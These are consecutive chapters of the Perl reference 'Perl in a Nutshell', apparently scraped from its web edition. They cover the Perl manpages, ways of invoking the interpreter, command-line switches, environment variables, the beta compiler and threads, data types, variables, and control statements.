On Unix, the standard Perl installation procedure generates manpages for the Perl documentation from their pod format, although your system administrator might also choose to install the documentation as HTML files. You can also use this procedure to generate manpages for CPAN modules when you install them. You might need to modify your MANPATH environment variable to include the path to the Perl manpages, but then you should be able to read the documentation with the man command. In addition, Perl comes with its own command, perldoc, which formats the pod documentation and displays it. perldoc is particularly useful for reading module documentation, which might not be installed as manpages; you can also use it for reading the core Perl documentation.

The ActiveState Win32 port comes with documentation in HTML format; you can find it in the /docs subdirectory of the distribution. Documentation specific to ActiveState's Perl for Win32 is installed in the /docs/Perl-Win32 subdirectory.

The native Win32 port installs the perldoc command for formatting and reading Perl documentation; it also provides an option during installation for the documentation to be formatted and saved as HTML files.

2.5.2 The Perl Manpages

Perl comes with lots of online documentation. To make life easier, the manpages have been divided into separate sections so you don't have to wade through hundreds of pages of text to find what you are looking for. You can read them with either the man command or with perldoc. Run man perl or perldoc perl to read the top-level page. That page in turn directs you to more specific pages. Or, if you know which page you want, you can go directly there by using:

% man perlvar

or:

% perldoc perlvar

The following table lists the sections in a logical order for reading through them:

Section | Description
perl | Overview (the top level)
perldelta | Changes since previous version
perlfaq | Frequently asked questions
perltoc | Table of contents for Perl documentation
perldata | Data structures
perlsyn | Syntax
perlop | Operators and precedence
perlre | Regular expressions
perlrun | Execution and options
perlfunc | Builtin functions
perlvar | Predefined variables
perlsub | Subroutines
perlmod | How modules work
perlmodlib | How to write and use modules
perlmodinstall | How to install modules from CPAN
perlform | Formats
perllocale | Locale support
perlref | References
perldsc | Data structures introduction
perllol | Data structures: lists of lists
perltoot | OO tutorial
perlobj | Objects
perltie | Objects hidden behind simple variables
perlbot | OO tricks and examples
perlipc | Interprocess communication
perldebug | Debugging
perldiag | Diagnostic messages
perlsec | Security
perltrap | Traps for the unwary
perlport | Portability guide
perlstyle | Style guide
perlpod | Plain old documentation
perlbook | Book information
perlembed | Embedding Perl in your C or C++ application
perlapio | Internal IO abstraction interface
perlxs | XS application programming interface
perlxstut | XS tutorial
perlguts | Internal functions for those doing extensions
perlcall | Calling conventions from C
perlhist | History records

Previous: 2.4 Getting and Installing Modules | Perl in a Nutshell | Next: II. Language Basics
2.4 Getting and Installing Modules | Book Index | II. Language Basics


[Chapter 3] The Perl Interpreter

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: II. Language Basics Chapter 3 Next: 3.2 Command-Line Options

3. The Perl Interpreter

Contents:
Command Processing
Command-Line Options
Environment Variables
The Perl Compiler
Threads

The perl executable, normally installed in /usr/bin or /usr/local/bin on your machine, is also called the perl interpreter. Every Perl program must be passed through the Perl interpreter in order to execute. The first line in many Perl programs is something like:

#!/usr/bin/perl

For Unix systems, this #! (hash-bang or shebang) line tells the shell to look for the /usr/bin/perl program and pass the rest of the file to that program for execution. Sometimes you'll see different pathnames to the Perl executable, such as /usr/local/bin/perl. You might see perl5 instead of perl on sites that still depend on older versions of Perl. Or you'll see command-line options tacked on the end, such as the notorious -w switch, which produces warning messages. But almost all Perl programs on Unix start with some variation of this line.

If you get a mysterious "Command not found" error on a Perl program, it's often because the path to the Perl executable is wrong. When you download Perl programs off the Internet, copy them from one machine to another, or copy them out of a book (like this one!), the first thing you should do is make sure that the #! line points to the location of the Perl interpreter on your system.

So what does the Perl interpreter do? It compiles the program internally into a parse tree and then executes it immediately. Perl is commonly known as an interpreted language, but this is not strictly true. Since the interpreter actually does convert the program into byte code before executing it, it is sometimes called an interpreter/compiler, if anything at all. [1] Although the compiled form is not stored as a file, release 5.005 of Perl includes a working version of a standalone Perl compiler.

[1] So do you call something a Perl "script" or a Perl "program"? Typically, the word "program" is used to describe something that needs to be compiled into assembler or byte code before executing, as in the C language, and the word "script" is used to describe something that runs through an interpreter, as in the Bourne shell. For Perl, you can use either phrase and not worry about offending anyone.

What does all this brouhaha mean for you? When you write a Perl program, you can just give it a correct #! line at the top of the script, make it executable with chmod +x, and run it. For 95% of Perl programmers in this world, that's all you'll care about.

3.1 Command Processing

In addition to specifying a #! line, you can also specify a short script directly on the command line. Here are some of the possible ways to run Perl:

  • Issue the perl command, writing your script line by line via -e switches on the command line:

    perl -e 'print "Hello, world\n"'    #Unix
perl -e "print \"Hello, world\n\""  #Win32

  • Issue the perl command, passing Perl the name of your script as the first parameter (after any switches):

    perl testpgm

  • On Unix systems that support the #! notation, specify the Perl command on the #! line, make your script executable, and invoke it from the shell (as described above).

  • Pass your script to Perl via standard input. For example, under Unix:

    echo "print 'Hello, world'" | perl -

    or (unless ignoreeof is set):

    % perl
print "Hello, world\n";
^D

  • On Win32 systems, you can associate an extension (e.g., .plx) with a file type and double-click on the icon for a Perl script with that file type. If you are using the ActiveState version of Win32 Perl, the installation script normally prompts you to create the association.

  • On Win32 systems, if you double-click on the icon for the Perl executable, you'll find yourself in a command-prompt window, with a blinking cursor. You can enter your Perl commands, indicating the end of your input with CTRL-Z, and Perl will compile and execute your script.

Perl parses the input file from the beginning, unless you've specified the -x switch (see the section "Command-Line Options" below). If there is a #! line, it is always examined for switches as the line is being parsed. Thus, switches behave consistently regardless of how Perl was invoked.

After locating your script, Perl compiles the entire script into an internal form. If there are any compilation errors, execution of the script is not attempted. If the script is syntactically correct, it is executed. If the script runs off the end without hitting an exit or die operator, an implicit exit(0) is provided to indicate successful completion.

Previous: II. Language Basics | Perl in a Nutshell | Next: 3.2 Command-Line Options
II. Language Basics | Book Index | 3.2 Command-Line Options


[Chapter 3] 3.2 Command-Line Options

Perl in a Nutshell

Perl in a NutshellSearch this book

3.2 Command-Line Options

Perl expects any command-line options, also known as switches or flags, to come first on the command line. The next item is usually the name of the script, followed by any additional arguments (often filenames) to be passed into the script. Some of these additional arguments may be switches, but if so, they must be processed by the script, since Perl gives up parsing switches as soon as it sees either a non-switch item or the special -- switch that terminates switch processing.

A single-character switch with no argument may be combined (bundled) with the switch that follows it, if any. For example:

#!/usr/bin/perl -spi.bak

is the same as:

#!/usr/bin/perl -s -p -i.bak

Perl recognizes the switches listed in Table 3.1.

Table 3.1: Perl Switches
Switch | Function
--

Terminates switch processing, even if the next argument starts with a minus. It has no other effect.

-0[octnum]

Specifies the record separator ($/) as an octal number. If octnum is not present, the null character is the separator. Other switches may precede or follow the octal number.

-a

Turns on autosplit mode when used with -n or -p. An implicit split of the @F array is inserted as the first command inside the implicit while loop produced by -n or -p. The default field delimiter is whitespace; a different field delimiter may be specified using -F.

-c

Causes Perl to check the syntax of the script and then exit without executing it. More or less equivalent to having exit(0) as the first statement in your program.

-d

Runs the script under the Perl debugger. See Chapter 6, Debugging.

-d:foo

Runs the script under the control of a debugging or tracing module installed in the Perl library as Devel::foo. For example, -d:DProf executes the script using the Devel::DProf profiler. See also the section on DProf in Chapter 6.

-Dnumber

Sets debugging flags. (This only works if debugging was compiled into the version of Perl you are running.) You may specify either a number that is the sum of the bits you want, or a list of letters. To watch how Perl executes your script, for instance, use -D14 or -Dslt. Another useful value is -D1024 (-Dx), which lists your compiled syntax tree. And -D512 (-Dr) displays compiled regular expressions. The numeric value of the flags is available internally as the special variable $^D. Here are the assigned bit values:

-Dlist
Bit | Letter | Meaning
1 | p | Tokenizing and parsing
2 | s | Stack snapshots
4 | l | Label stack processing
8 | t | Trace execution
16 | o | Object method lookup
32 | c | String/numeric conversions
64 P

Print preprocessor command for -P

128 | m | Memory allocation
256 | f | Format processing
512 | r | Regular expression processing
1,024 | x | Syntax tree dump
2,048 | u | Tainting checks
4,096 | L | Memory leaks (not supported any more)
8,192 H

Hash dump - usurps values

16,384 | X | Scratchpad allocation
32,768 | D | Cleaning up
-e commandline

May be used to enter one or more lines of script. If -e is used, Perl does not look for the name of a script in the argument list. Multiple -e commands may be given to build up a multiline script. (Make sure to use semicolons where you would in a normal program.)

-Fpattern

Specifies the pattern to split on if -a is also in effect. The pattern may be surrounded by //, '', or ""; otherwise it is put in single quotes.

-h

Prints a summary of Perl's command-line options.

-i[extension]

Specifies that files processed by the <> construct are to be edited in-place. Perl does this by renaming the input file, opening the output file by the original name, and selecting that output file as the default for print statements. The extension, if supplied, is added to the name of the old file to make a backup copy. If no extension is supplied, no backup is made.

-Idirectory

Directories specified by -I are prepended to @INC, which holds the search path for modules. If -P is also specified, to invoke the C preprocessor, -I tells the preprocessor where to search for include files. By default, it searches /usr/include and /usr/lib/perl.

-l[octnum]

Enables automatic line-end processing. This switch has two effects: first, when it's used with -n or -p, it causes the line terminator to be automatically chomped, and second, it sets $\ to the value of octnum so any print statements will have a line terminator of ASCII value octnum added back on. If octnum is omitted, $\ is set to the current value of $/, which is typically a newline. So, to trim lines to 80 columns, say this:

perl -lpe 'substr($_, 80) = ""'

-m[-]module

Executes use module before executing your script.

-M[-]module
-M[-]'module ...'
-[mM][-]modulearg[,arg]...
-mmodule

-Mmodule

Executes use module before executing your script. The command is formed by interpolation, so you can use quotes to add extra code after the module name, for example, -M'module qw(foo bar)'. If the first character after the -M or -m is a minus (-), then the use is replaced with no.

You can also say -m module=foo,bar or -Mmodule= foo,bar as a shortcut for -M'module qw(foo bar)'. This avoids the need to use quotes when importing symbols. The actual code generated by -Mmodule=foo,bar is:

use module split(/,/, q{foo,bar})
The = form removes the distinction between -m and -M.

-n

Causes Perl to assume the following loop around your script, which makes it iterate over filename arguments:

LINE:
while (<>) {
   ...      # your script goes here
By default, the lines are not printed. See -p to have lines printed. BEGIN and END blocks may be used to capture control before or after the implicit loop.

-p

Causes Perl to assume the following loop around your script, which makes it iterate over filename arguments:

LINE:
while (<>) {
    ...     # your script goes here
} continue {
    print;
The lines are printed automatically. To suppress printing, use the -n switch. If both are specified, the -p switch overrides -n. BEGIN and END blocks may be used to capture control before or after the implicit loop.

-P

Causes your script to be run through the C preprocessor before compilation by Perl. (Since both comments and cpp directives begin with the # character, you should avoid starting comments with any words recognized by the C preprocessor such as if, else, or define.)

-s

Enables some rudimentary parsing of switches on the command line after the script name but before any filename arguments or the -- switch terminator. Any switch found there is removed from @ARGV, and a variable of the same name as the switch is set in the Perl script. No switch bundling is allowed, since multicharacter switches are allowed.

-S

Makes Perl use the PATH environment variable to search for the script (unless the name of the script starts with a slash). Typically this is used to emulate #! startup on machines that don't support #!.

-T

Forces "taint" checks to be turned on. Ordinarily, these checks are done only when running setuid or setgid. It's a good idea to turn them on explicitly for programs run on another user's behalf, such as CGI programs.

-u

Causes Perl to dump core after compiling your script. You can then take this core dump and turn it into an executable file by using the undump program (not supplied). This speeds startup at the expense of some disk space (which you can minimize by stripping the executable). If you want to execute a portion of your script before dumping, use Perl's dump operator instead. Note: availability of undump is platform-specific; it may not be available for a specific port of Perl.

-U

Allows Perl to do unsafe operations. Currently, the only "unsafe" operations are the unlinking of directories while running as superuser and running setuid programs with fatal taint checks turned into warnings.

-v

Prints the version and patch level of your Perl executable.

-V

Prints a summary of the major Perl configuration values and the current value of @INC.

-V:name

Prints the value of the named configuration variable to STDOUT.

-w

Prints warnings about identifiers that are mentioned only once and scalar variables that are used before being set. Also warns about redefined subroutines and references to undefined filehandles or to filehandles opened as read-only that you are attempting to write on. Warns you if you use a non-number as though it were a number, if you use an array as though it were a scalar, if your subroutines recurse more than 100 levels deep, etc.

-x[directory]

Tells Perl to extract a script that is embedded in a message, by looking for the first line that starts with #! and contains the string "perl". Any meaningful switches on that line after the word "perl" are applied. If a directory name is specified, Perl switches to that directory before running the script. The script must be terminated with __END__ or __DATA__ if there is trailing text to be ignored. (The script can process any or all of the trailing text via the DATA filehandle if desired.)

Previous: 3.1 Command Processing | Perl in a Nutshell | Next: 3.3 Environment Variables
3.1 Command Processing | Book Index | 3.3 Environment Variables


[Chapter 3] 3.3 Environment Variables

Perl in a Nutshell

Perl in a NutshellSearch this book

3.3 Environment Variables

Environment variables are used to set user preferences. Individual Perl modules or programs are always free to define their own environment variables, and there is also a set of special environment variables that are used in the CGI environment (see Chapter 9, CGI Overview).

Perl uses the following environment variables:

HOME

Used if chdir has no argument.

LOGDIR

Used if chdir has no argument and HOME is not set.

PATH

Used in executing subprocesses and in finding the script if -S is used.

PATHEXT

On Win32 systems, if you want to avoid typing the extension every time you execute a Perl script, you can set the PATHEXT environment variable so that it includes Perl scripts. For example:

> set PATHEXT=%PATHEXT%;.PLX
This setting lets you type:
> myscript
without including the file extension. Take care when setting PATHEXT permanently - it also includes executable file types like .com, .exe, .bat, and .cmd. If you inadvertently lose those extensions, you'll have difficulty invoking applications and script files.

PERL5LIB

A colon-separated list of directories in which to look for Perl library files before looking in the standard library and the current directory. If PERL5LIB is not defined, PERLLIB is used. When running taint checks, neither variable is used. The script should instead say:

use lib "/my/directory";

PERL5OPT

Command-line options (switches). Switches in this variable are taken as if they were on every Perl command line. Only the -[DIMUdmw] switches are allowed. When running taint checks, this variable is ignored.

PERLLIB

A colon-separated list of directories in which to look for Perl library files before looking in the standard library and the current directory. If PERL5LIB is defined, PERLLIB is not used.

PERL5DB

The command used to load the debugger code. The default is:

BEGIN { require 'perl5db.pl' }

PERL5SHELL

On Win32 systems, may be set to an alternative shell for Perl to use internally to execute "backtick" commands or the system function.

PERL_DEBUG_MSTATS

Relevant only if your Perl executable was built with -DDEBUGGING_MSTATS. If set, causes memory statistics to be dumped after execution. If set to an integer greater than one, it also causes memory statistics to be dumped after compilation.

PERL_DESTRUCT_LEVEL

Relevant only if your Perl executable was built with -DDEBUGGING. Controls the behavior of global destruction of objects and other references.

Perl also has environment variables that control how Perl handles data specific to particular natural languages. See the perllocale manpage.

Previous: 3.2 Command-Line Options | Perl in a Nutshell | Next: 3.4 The Perl Compiler
3.2 Command-Line Options | Book Index | 3.4 The Perl Compiler


[Chapter 3] 3.4 The Perl Compiler

Perl in a Nutshell

Perl in a NutshellSearch this book

3.4 The Perl Compiler

A native-code compiler for Perl is now (as of Perl 5.005) part of the standard Perl distribution. The compiler allows you to distribute Perl programs in binary form, which enables easy packaging of Perl-based programs without having to depend on the source machine having the correct version of Perl and the correct modules installed. After the initial compilation, running a compiled program should be faster to the extent that it doesn't have to be recompiled each time it's run. However, you shouldn't expect that the compiled code itself will run faster than the original Perl source or that the executable will be smaller - in reality, the executable file is likely to be significantly bigger.

This initial release of the compiler is still considered to be a beta version. It's distributed as an extension module, B, that comes with the following backends:

Bytecode

Translates a script into platform-independent Perl byte code.

C

Translates a Perl script into C code.

CC

Translates a Perl script into optimized C code.

Deparse

Regenerates Perl source code from a compiled program.

Lint

Extends the Perl -w option. Named after the Unix Lint program-checker.

Showlex

Shows lexical variables used in functions or files.

Xref

Creates a cross-reference listing for a program.

Once you've generated the C code with either the C or the CC backend, you run the cc_harness program to compile it into an executable. There is also a byteperl interpreter that lets you run the code you've generated with the Bytecode backend.

Here's an example that takes a simple "Hello world" program and uses the CC backend to generate C code:

% perl -MO=CC,-ohi.c hi.pl
hi.pl syntax OK
% perl cc_harness -O2 -ohi hi.c
gcc -B/usr/ccs/bin/ -D_REENTRANT -DDEBUGGING -I/usr/local/include
-I/usr/local/lib/perl5/sun4-solaris-thread/5.00466/CORE -O2 -ohi hi.c
-L/usr/local/lib /usr/local/lib/perl5/sun4-solaris-thread/5.00466/CORE/libperl.a
-lsocket -lnsl -lgdbm -ldl -lm -lposix4 -lpthread -lc -lcrypt
% hi
Hi there, world!

The compiler also comes with a frontend, perlcc. You can use it to compile code into a standalone executable, or to compile a module (a .pm file) into a shared object (an .so file) that can be included in a Perl program via use. For example:

% perlcc a.p         # compiles into the executable 'a'
% perlcc A.pm        # compiles into A.so

The following options can be used with perlcc:

-argv arguments

Used with -run or -e. Passes the string arguments to the executable as @ARGV.

-C c_code_name

Gives the name c_code_name to the generated C code that is to be compiled. Only valid if you are compiling one file on the command line.

-e perl_line_to_execute

Works like perl -e to compile "one-liners." The default is to compile and run the code. With -o, it saves the resulting executable.

-gen

Creates the intermediate C code but doesn't compile the results; does an implicit -sav.

-I include_directories

Adds directories inside include_directories to the compilation command.

-L library_directories

Adds directories in library_directories to the compilation command.

-log logname

Opens a log file (for append) for saving text from a compile command.

-mod

Tells perlcc to compile the files given at the command line as modules. Usually used with module files that don't end with .pm.

-o executable_name

Gives the name executable_name to the executable that is to be compiled. Only valid if compiling one file on the command line.

-prog

Tells perlcc to compile the files given at the command line as programs. Usually used with program files that don't end with a .p, .pl, or .bat extension.

-regex rename_regex

Provides the rule rename_regex for creating executable filenames, where rename_regex is a Perl regular expression.

-run

Immediately run the generated Perl code. Note that the rest of @ARGV is interpreted as arguments to the program being compiled.

-sav

Tells Perl to save the intermediate C code.

-verbose verbose_level

Compile verbosely, setting verbose_level to control the degree of verbosity. verbose_level can be given as either a sum of bits or a list of letters. Values are:

Bit | Letter | Action
1 | g | Code generation errors to STDERR.
2 | a | Compilation errors to STDERR.
4 | t | Descriptive text to STDERR.
8 f

Code generation errors to file. Requires -log.

16 c

Compilation errors to file. Requires -log.

32 d

Descriptive text to file. Requires -log.

With -log, the default level is 63; otherwise the default level is 7.

There are two environment variables that you can set for perlcc: PERL_SCRIPT_EXT and PERL_MODULE_EXT. These can be used to modify the default extensions that perlcc recognizes for programs and for modules. The variables take colon-separated Perl regular expressions.

The modules that comprise the compiler are described in Chapter 8, Standard Modules. Also see the documentation that comes with the compiler, which includes more complete information on installing and using it.

Previous: 3.3 Environment Variables | Perl in a Nutshell | Next: 3.5 Threads
3.3 Environment Variables | Book Index | 3.5 Threads


[Chapter 3] 3.5 Threads

Perl in a Nutshell

Perl in a NutshellSearch this book

3.5 Threads

Perl 5.005 also includes the first release of a native multithreading capability, which is distributed with Perl as a set of modules. Since this is an initial release, the threads modules are considered to be beta software and aren't automatically compiled in with Perl. Therefore, the decision to use the threads feature has to be made during installation, so it can be included in the build of Perl. Or you might want to build a separate version of Perl for testing purposes.

Chapter 8 describes the individual Thread modules. For information on what threads are and how you might use them, see the article "Threads" in the Summer 1998 issue of The Perl Journal. There is also an explanation of threads in the book Programming with Perl Modules from O'Reilly's Perl Resource Kit, Win32 Edition.

Previous: 3.4 The Perl Compiler | Perl in a Nutshell | Next: 4. The Perl Language
3.4 The Perl Compiler | Book Index | 4. The Perl Language


[Chapter 4] The Perl Language

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: 3.5 Threads Chapter 4 Next: 4.2 Data Types and Variables

4. The Perl Language

Contents:
Program Structure
Data Types and Variables
Statements
Special Variables
Operators
Regular Expressions
Subroutines
References and Complex Data Structures
Filehandles
Formats
Pod

This chapter is a quick and merciless guide to the Perl language itself. If you're trying to learn Perl from scratch, and you'd prefer to be taught rather than to have things thrown at you, then you might be better off with Learning Perl by Randal Schwartz and Tom Christiansen, or Learning Perl on Win32 Systems by Randal Schwartz, Erik Olson, and Tom Christiansen. However, if you already know some other programming languages and just want to hear the particulars of Perl, this chapter is for you. Sit tight, and forgive us for being terse: we have a lot of ground to cover.

If you want a more complete discussion of the Perl language and its idiosyncrasies (and we mean complete), see Programming Perl by Larry Wall, Tom Christiansen, and Randal Schwartz.

4.1 Program Structure

Perl is a particularly forgiving language, as far as program layout goes. There are no rules about indentation, newlines, etc. Most lines end with semicolons, but not everything has to. Most things don't have to be declared, except for a couple of things that do. Here are the bare essentials:

Whitespace

Whitespace is required only between items that would otherwise be confused as a single term. All types of whitespace - spaces, tabs, newlines, etc. - are equivalent in this context. A comment counts as whitespace. Different types of whitespace are distinguishable within quoted strings, formats, and certain line-oriented forms of quoting. For example, in a quoted string, a newline, a space, and a tab are interpreted as unique characters.

Semicolons

Every simple statement must end with a semicolon. Compound statements contain brace-delimited blocks of other statements and do not require terminating semicolons after the ending brace. A final simple statement in a block also does not require a semicolon.

Declarations

Only subroutines and report formats need to be explicitly declared. All other user-created objects are automatically created with a null or 0 value unless they are defined by some explicit operation such as assignment. The -w command-line switch will warn you about using undefined values.

You may force yourself to declare your variables by including the use strict pragma in your programs (see Chapter 8, Standard Modules, for more information on pragmas and strict in particular). This makes it an error to not explicitly declare your variables.

Comments and documentation

Comments within a program are indicated by a pound sign (#). Everything following a pound sign to the end of the line is interpreted as a comment.

Lines starting with = are interpreted as the start of a section of embedded documentation (pod), and all subsequent lines until the next =cut are ignored by the compiler. See Section 4.11, "Pod" later in this chapter for more information on pod format.

Previous: 3.5 Threads | Perl in a Nutshell | Next: 4.2 Data Types and Variables
3.5 Threads | Book Index | 4.2 Data Types and Variables


[Chapter 4] 4.2 Data Types and Variables

Perl in a Nutshell

Perl in a NutshellSearch this book

4.2 Data Types and Variables

Perl has three basic data types: scalars, arrays, and hashes.

Scalars are essentially simple variables. They are preceded by a dollar sign ($). A scalar is either a number, a string, or a reference. (A reference is a scalar that points to another piece of data. References are discussed later in this chapter.) If you provide a string where a number is expected or vice versa, Perl automatically converts the operand using fairly intuitive rules.

Arrays are ordered lists of scalars that you access with a numeric subscript (subscripts start at 0). They are preceded by an "at" sign (@).

Hashes are unordered sets of key/value pairs that you access using the keys as subscripts. They are preceded by a percent sign (%).

4.2.1 Numbers

Perl stores numbers internally as either signed integers or double-precision floating-point values. Numeric literals are specified in any of the following floating-point or integer formats:

12345               # integer
-54321              # negative integer
12345.67            # floating point
6.02E23             # scientific notation
0xffff              # hexadecimal
0377                # octal
4_294_967_296       # underline for legibility
Since Perl uses the comma as a list separator, you cannot use a comma for improving legibility of a large number. To improve legibility, Perl allows you to use an underscore character instead. The underscore only works within literal numbers specified in your program, not in strings functioning as numbers or in data read from somewhere else. Similarly, the leading 0x for hex and 0 for octal work only for literals. The automatic conversion of a string to a number does not recognize these prefixes - you must do an explicit conversion.

4.2.2 String Interpolation

Strings are sequences of characters. String literals are usually delimited by either single (') or double quotes ("). Double-quoted string literals are subject to backslash and variable interpolation, and single-quoted strings are not (except for \' and \\, used to put single quotes and backslashes into single-quoted strings). You can embed newlines directly in your strings.

Table 4-1 lists all the backslashed or escape characters that can be used in double-quoted strings.

Table 4.1: Double-Quoted String Representations
Code | Meaning
\n | Newline
\r | Carriage return
\t | Horizontal tab
\f | Form feed
\b | Backspace
\a | Alert (bell)
\e | ESC character
\033 | ESC in octal
\x7f | DEL in hexadecimal
\cC | CTRL-C
\\ | Backslash
\" | Double quote
\u | Force next character to uppercase
\l | Force next character to lowercase
\U | Force all following characters to uppercase
\L | Force all following characters to lowercase
\Q | Backslash all following non-alphanumeric characters
\E | End \U, \L, or \Q

Table 4-2 lists alternative quoting schemes that can be used in Perl. They are useful in diminishing the number of commas and quotes you may have to type, and also allow you to not worry about escaping characters such as backslashes when there are many instances in your data. The generic forms allow you to use any non-alphanumeric, non-whitespace characters as delimiters in place of the slash (/). If the delimiters are single quotes, no variable interpolation is done on the pattern. Parentheses, brackets, braces, and angle brackets can be used as delimiters in their standard opening and closing pairs.

Table 4.2: Quoting Syntax in Perl
Customary | Generic | Meaning | Interpolation
'' | q// | Literal | No
"" | qq// | Literal | Yes
`` | qx// | Command | Yes
() | qw// | Word list | No
// | m// | Pattern match | Yes
s/// | s/// | Substitution | Yes
y/// | tr/// | Translation | No

4.2.3 Lists

A list is an ordered group of scalar values. A literal list can be composed as a comma-separated list of values contained in parentheses, for example:

(1,2,3)                  # array of three values 1, 2, and 3
("one","two","three")    # array of three values "one", "two", and "three"
The generic form of list creation uses the quoting operator qw// to contain a list of values separated by white space:
qw/snap crackle pop/

4.2.4 Variables

A variable always begins with the character that identifies its type: $, @, or %. Most of the variable names you create can begin with a letter or underscore, followed by any combination of letters, digits, or underscores, up to 255 characters in length. Upper- and lowercase letters are distinct. Variable names that begin with a digit can only contain digits, and variable names that begin with a character other than an alphanumeric or underscore can contain only that character. The latter forms are usually predefined variables in Perl, so it is best to name your variables beginning with a letter or underscore.

Variables have the undef value before they are first assigned or when they become "empty." For scalar variables, undef evaluates to zero when used as a number, and a zero-length, empty string ("") when used as a string.

Simple variable assignment uses the assignment operator (=) with the appropriate data. For example:

$age = 26;		# assigns 26 to $age
@date = (8, 24, 70);	# assigns the three-element list to @date
%fruit = ('apples', 3, 'oranges', 6);
 # assigns the list elements to %fruit in key/value pairs
Scalar variables are always named with an initial $, even when referring to a scalar value that is part of an array or hash.

Every variable type has its own namespace. You can, without fear of conflict, use the same name for a scalar variable, an array, or a hash (or, for that matter, a filehandle, a subroutine name, or a label). This means that $foo and @foo are two different variables. It also means that $foo[1] is an element of @foo, not a part of $foo.

4.2.4.1 Arrays

An array is a variable that stores an ordered list of scalar values. Arrays are preceded by an "at" (@) sign.

@numbers = (1,2,3);	# Set the array @numbers to (1,2,3)
To refer to a single element of an array, use the dollar sign ($) with the variable name (it's a scalar), followed by the index of the element in square brackets (the subscript operator). Array elements are numbered starting at 0. Negative indexes count backwards from the last element in the list (i.e., -1 refers to the last element of the list). For example, in this list:
@date = (8, 24, 70);
$date[2] is the value of the third element, 70.

4.2.4.2 Hashes

A hash is a set of key/value pairs. Hashes are preceded by a percent (%) sign. To refer to a single element of a hash, you use the hash variable name followed by the "key" associated with the value in curly brackets. For example, the hash:

%fruit = ('apples', 3, 'oranges', 6);
has two values (in key/value pairs). If you want to get the value associated with the key apples, you use $fruit{'apples'}.

It is often more readable to use the => operator in defining key/value pairs. The => operator is similar to a comma, but it's more visually distinctive, and it also quotes any bare identifiers to the left of it:

%fruit = (
    apples  => 3,
    oranges => 6
);

4.2.5 Scalar and List Contexts

Every operation that you invoke in a Perl script is evaluated in a specific context, and how that operation behaves may depend on which context it is being called in. There are two major contexts: scalar and list. All operators know which context they are in, and some return lists in contexts wanting a list, and scalars in contexts wanting a scalar. For example, the localtime function returns a nine-element list in list context:

($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime();
But in a scalar context, localtime returns the number of seconds since January 1, 1970:
$now = localtime();
Statements that look confusing are easy to evaluate by identifying the proper context. For example, assigning what is commonly a list literal to a scalar variable:
$a = (2, 4, 6, 8);
gives $a the value 8. The context forces the right side to evaluate to a scalar, and the action of the comma operator in the expression (in the scalar context) returns the value farthest to the right.

Another type of statement that might be confusing is the evaluation of an array or hash variable as a scalar, for example:

$b = @c;
When an array variable is evaluated as a scalar, the number of elements in the array is returned. This type of evaluation is useful for finding the number of elements in an array. The special $#array form of an array value returns the index of the last member of the list (one less than the number of elements).

If necessary, you can force a scalar context in the middle of a list by using the scalar function.

4.2.6 Declarations and Scope

In Perl, only subroutines and formats require explicit declaration. Variables (and similar constructs) are automatically created when they are first assigned.

Variable declaration comes into play when you need to limit the scope of a variable's use. You can do this in two ways:

  • Dynamic scoping creates temporary objects within a scope. Dynamically scoped constructs are visible globally, but only take action within their defined scopes. Dynamic scoping applies to variables declared with local.

  • Lexical scoping creates private constructs that are only visible within their scopes. The most frequently seen form of lexically scoped declaration is the declaration of my variables.

Therefore, we can say that a local variable is dynamically scoped, whereas a my variable is lexically scoped. Dynamically scoped variables are visible to functions called from within the block in which they are declared. Lexically scoped variables, on the other hand, are totally hidden from the outside world, including any called subroutines unless they are declared within the same scope.

See Section 4.7, "Subroutines" later in this chapter for further discussion.

Previous: 4.1 Program Structure | Perl in a Nutshell | Next: 4.3 Statements
4.1 Program Structure | Book Index | 4.3 Statements


[Chapter 4] 4.3 Statements

Perl in a Nutshell

Perl in a NutshellSearch this book

4.3 Statements

A simple statement is an expression evaluated for its side effects. Every simple statement must end in a semicolon, unless it is the final statement in a block.

A sequence of statements that defines a scope is called a block. Generally, a block is delimited by braces, or { }. Compound statements are built out of expressions and blocks. A conditional expression is evaluated to determine whether a statement block will be executed. Compound statements are defined in terms of blocks, not statements, which means that braces are required.

Any block can be given a label. Labels are identifiers that follow the variable-naming rules (i.e., they begin with a letter or underscore, and can contain alphanumerics and underscores). They are placed just before the block and are followed by a colon, like SOMELABEL here:

SOMELABEL: {
  ...statements...
  }
By convention, labels are all uppercase, so as not to conflict with reserved words. Labels are used with the loop-control commands next, last, and redo to alter the flow of execution in your programs.

4.3.1 Conditionals and Loops

The if and unless statements execute blocks of code depending on whether a condition is met. These statements take the following forms:

if (expression) {block} else {block}

unless (expression) {block} else {block}

if (expression1) {block}
elsif (expression2) {block}
  ...
elsif (lastexpression) {block}
else {block}

4.3.1.1 while loops

The while statement repeatedly executes a block as long as its conditional expression is true. For example:

while (<INFILE>) {
    print OUTFILE, "$_\n";
}
This loop reads each line from the file opened with the filehandle INFILE and prints them to the OUTFILE filehandle. The loop will cease when it encounters an end-of-file.

If the word while is replaced by the word until, the sense of the test is reversed. The conditional is still tested before the first iteration, though.

The while statement has an optional extra block on the end called a continue block. This block is executed before every successive iteration of the loop, even if the main while block is exited early by the loop control command next. However, the continue block is not executed if the main block is exited by a last statement. The continue block is always executed before the conditional is evaluated again.

4.3.1.2 for loops

The for loop has three semicolon-separated expressions within its parentheses. These three expressions function respectively as the initialization, the condition, and the re-initialization expressions of the loop. The for loop can be defined in terms of the corresponding while loop:

for ($i = 1; $i < 10; $i++) {
    ...
}
is the same as:
$i = 1;
while ($i < 10) {
    ...
}
continue {
    $i++;
}

4.3.1.3 foreach loops

The foreach loop iterates over a list value and sets the control variable (var) to be each element of the list in turn:

foreach var (list) {
    ...
}
Like the while statement, the foreach statement can also take a continue block.

4.3.1.4 Modifiers

Any simple statement may be followed by a single modifier that gives the statement a conditional or looping mechanism. This syntax provides a simpler and often more elegant method than using the corresponding compound statements. These modifiers are:

statement if EXPR;
statement unless EXPR;
statement while EXPR;
statement until EXPR;
For example:
$i = $num if ($num < 50); # $i will be less than 50
$j = $cnt unless ($cnt < 100); # $j will equal 100 or greater
$lines++ while <FILE>;
print "$_\n" until /The end/;
The conditional is evaluated first with the while and until modifiers except when applied to a do {} statement, in which case the block executes once before the conditional is evaluated. For example:
do {
    $line = <STDIN>;
    ...
} until $line eq ".\n";
For more information on do, see Chapter 5, Function Reference.

4.3.1.5 Loop control

You can put a label on a loop to give it a name. The loop's label identifies the loop for the loop-control commands next, last, and redo.

LINE: while (<SCRIPT>) {
    print;
    next LINE if /^#/;      # discard comments
    }
